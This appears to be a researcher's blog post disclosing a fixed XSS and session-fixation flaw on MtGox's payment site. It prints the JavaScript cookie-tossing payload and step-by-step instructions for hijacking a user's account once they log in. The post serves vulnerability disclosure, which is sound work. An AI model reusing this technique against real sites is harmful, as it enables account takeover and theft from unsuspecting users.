Account hijacking on MtGox

If it wasn't MtGox I wouldn't even mention it — XSS/fixation/etc are web sec routines, and are not worth a blog post.

But it *is* MtGox. When I started checking bitcoin-related websites it was my target #1. First XSS was found in 5 minutes on payments.mtgox.com, few mins later I discovered session fixation leading to account takeover. Long story short, here's exploit:

name='document.cookie="SESSION_ID=SID; Domain=.mtgox.com; Path=/code"';
location='https://payment.mtgox.com/38131846-a564-487c-abfb-6c5be47bce27/e6325160-7d49-4a69-b40f-42bb3d2f7b91?payment[cancel]=cancel';

1. Create Checkout button https://www.mtgox.com/merchant/checkout and set Cancel URL to javascript:eval(name);

2. Put your payload in window.name and redirect to "https://payment.mtgox.com/38131846-a564-487c-abfb-6c5be47bce27/e6325160-7d49-4a69-b40f-42bb3d2f7b91?payment[cancel]=cancel" (GET-accessible action). MtGox has X-Frame-Options so it won't work in iframe.

3. User is supposed to wait 5 seconds until setTimeout in JS assigns location to our javascript: URL.

4. Get some guest SID with server side and fixate it using this XSS. It's called Cookie tossing, and our cookie shadows original SESSION_ID because more specific Path-s are sent first.

  document.cookie="SESSION_ID=SID; Domain=.mtgox.com; Path=/code"

5. Close the window.

6. Someday user logs in, and his session will stay the same SID. Your server script should run cron task every 5 minutes, checking if SID is still "guest". As soon as user signs in you can use fixated SID to perform any actions on behalf of his account - "Session riding".

Timeline

Jan 11 - vuln reported

Jan 14 - vuln accepted and fixed in 3 hours. 

FYI use nils@tibanne.com as "security@mtgox.com" (MtGox doesn't have neither bounty program nor email for reports). 

Recap:
Even top-notch bitcoin websites are not as secure as payment providers should be. This vulnerability is really easy to find, so I suspect it's been used in the wild. Use 2 factor auth.

In no time bitcoin currency got some good value, but security level of bitcoin websites didn't play along.